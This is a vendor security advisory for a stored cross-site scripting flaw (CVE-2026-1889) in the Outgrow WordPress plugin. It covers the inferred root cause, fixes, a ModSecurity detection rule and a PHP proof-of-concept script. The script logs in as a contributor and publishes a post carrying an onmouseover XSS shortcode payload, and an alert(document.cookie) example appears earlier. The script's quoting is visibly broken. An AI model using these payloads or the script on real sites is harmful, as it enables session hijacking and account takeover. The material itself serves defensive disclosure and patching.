Atomic Edge analysis of CVE-2026-1889 (metadata-based):
This vulnerability is an authenticated stored cross-site scripting (XSS) flaw in the Outgrow WordPress plugin. The vulnerability exists in the plugin’s ‘outgrow’ shortcode handler, specifically within the processing of the ‘id’ attribute. Attackers with contributor-level permissions or higher can inject malicious scripts into posts or pages. These scripts execute when users view the compromised content. The CVSS score of 6.4 reflects a medium severity issue with scope change and confidentiality/integrity impacts.
Atomic Edge research infers the root cause from the CWE-79 classification and vulnerability description. The plugin fails to properly sanitize user-supplied input and escape output within the shortcode handler. The ‘id’ attribute value likely passes directly to an output function without adequate escaping. This is a classic case of missing or insufficient use of WordPress escaping functions like `esc_attr()` for HTML attributes. The description confirms insufficient input sanitization and output escaping, but the exact code path remains inferred without source code.
Exploitation requires an authenticated user with at least contributor-level access. The attacker creates or edits a post or page using the WordPress editor. They insert the ‘[outgrow]’ shortcode with a malicious ‘id’ attribute payload. A typical payload would resemble `[outgrow id=”1′ onmouseover=’alert(document.cookie)”]`. The attacker publishes the post. The malicious script stores in the database. The script executes in the browsers of all users who view the page containing the compromised shortcode.
Remediation requires implementing proper output escaping. The plugin developer must escape the ‘id’ attribute value before outputting it into the HTML document. The standard WordPress practice is to use the `esc_attr()` function for HTML attribute contexts. Input sanitization for shortcode attributes should also be strengthened, possibly using `sanitize_text_field()` or similar functions. A patch would modify the shortcode callback function to apply these escaping functions to the ‘id’ parameter before its use in generated HTML.
The impact of successful exploitation includes session hijacking, account takeover, and client-side data theft. Attackers can steal authenticated session cookies from administrators or other users. They can perform actions on behalf of victims, such as creating new administrator accounts or modifying site content. The stored nature of the attack amplifies impact, as a single injection affects all future visitors to the compromised page. The attacker’s required contributor-level access is relatively low, increasing the potential attack surface.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-1889 (metadata-based)
# This rule targets the specific attack vector: injection of malicious scripts via the 'id' attribute
# of the 'outgrow' shortcode in WordPress post content.
# The rule blocks POST requests to the WordPress REST API posts endpoint that contain the malicious pattern.
# It assumes the attacker uses the REST API to create/update posts (common for authenticated attacks).
# The rule is narrowly scoped to the specific plugin's shortcode attribute.
SecRule REQUEST_URI "@rx ^/wp-json/wp/v2/(posts|pages)"
"id:20261889,phase:2,deny,status:403,chain,msg:'CVE-2026-1889: Outgrow Plugin Stored XSS via shortcode id attribute',severity:'CRITICAL',tag:'CVE-2026-1889',tag:'WordPress',tag:'Plugin/Outgrow',tag:'attack-xss'"
SecRule REQUEST_METHOD "@streq POST" "chain"
SecRule REQUEST_BODY "@rx \[outgrow[^\]]*id\s*=\s*['"]?[^'"]*[\s\S]*?on\w+\s*=" "
"t:none,t:urlDecodeUni,t:htmlEntityDecode,t:lowercase,t:removeWhitespace,ctl:auditLogParts=+E"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-1889 - Outgrow <= 2.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'outgrow' Shortcode 'id' Attribute
<?php
/**
* Proof of Concept for CVE-2026-1889
* Assumptions based on vulnerability description:
* 1. The plugin registers a shortcode named 'outgrow'.
* 2. The shortcode accepts an 'id' attribute.
* 3. The 'id' attribute value is not properly escaped before output.
* 4. Contributor+ users can publish posts containing shortcodes.
* This script simulates an attacker with contributor credentials injecting a malicious shortcode.
*/
$target_url = 'http://vulnerable-wordpress-site.com'; // CONFIGURE THIS
$username = 'contributor_user'; // CONFIGURE THIS
$password = 'contributor_password'; // CONFIGURE THIS
// Payload: XSS via the 'id' attribute. Uses a simple alert for demonstration.
// Real attacks would use more sophisticated payloads to steal cookies or perform actions.
$malicious_shortcode = "[outgrow id="1' onmouseover='alert("XSS")'"]";
$post_title = 'Test Post with Malicious Shortcode';
$post_content = "This post contains a malicious Outgrow shortcode.nn{$malicious_shortcode}nnHover over the outgrow element to trigger.";
// Step 1: Authenticate to WordPress and obtain a nonce for creating a post.
$login_url = $target_url . '/wp-login.php';
$admin_ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$ch = curl_init();
// Get login page to retrieve login nonce (if applicable) and cookies.
curl_setopt_array($ch, [
CURLOPT_URL => $login_url,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_COOKIEJAR => 'cookies.txt',
CURLOPT_COOKIEFILE => 'cookies.txt',
]);
$response = curl_exec($ch);
// Perform login (simplified - real script may need to parse nonce from login form).
$login_data = http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
]);
curl_setopt_array($ch, [
CURLOPT_URL => $login_url,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => $login_data,
CURLOPT_FOLLOWLOCATION => true,
]);
$response = curl_exec($ch);
// Step 2: Create a new post with the malicious shortcode.
// This uses the WordPress REST API /wp-json/wp/v2/posts endpoint.
// Contributor users can create posts via REST API if permissions are correctly configured.
$rest_post_url = $target_url . '/wp-json/wp/v2/posts';
$post_data = json_encode([
'title' => $post_title,
'content' => $post_content,
'status' => 'publish' // Contributor can publish if they have 'publish_posts' cap.
]);
curl_setopt_array($ch, [
CURLOPT_URL => $rest_post_url,
CURLOPT_HTTPHEADER => ['Content-Type: application/json'],
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => $post_data,
CURLOPT_FOLLOWLOCATION => false,
]);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if ($http_code === 201) {
$response_data = json_decode($response, true);
$post_id = $response_data['id'] ?? 'unknown';
$post_link = $response_data['link'] ?? 'unknown';
echo "[+] Successfully created malicious post.n";
echo " Post ID: {$post_id}n";
echo " Post URL: {$post_link}n";
echo " Visit the post and hover over the outgrow element to trigger XSS.n";
} else {
echo "[-] Failed to create post. HTTP Code: {$http_code}n";
echo " Response: {$response}n";
echo " Note: Contributor may need 'publish_posts' capability for REST API.n";
echo " Alternative method: Simulate form submission to /wp-admin/post-new.php.n";
}
curl_close($ch);
?>
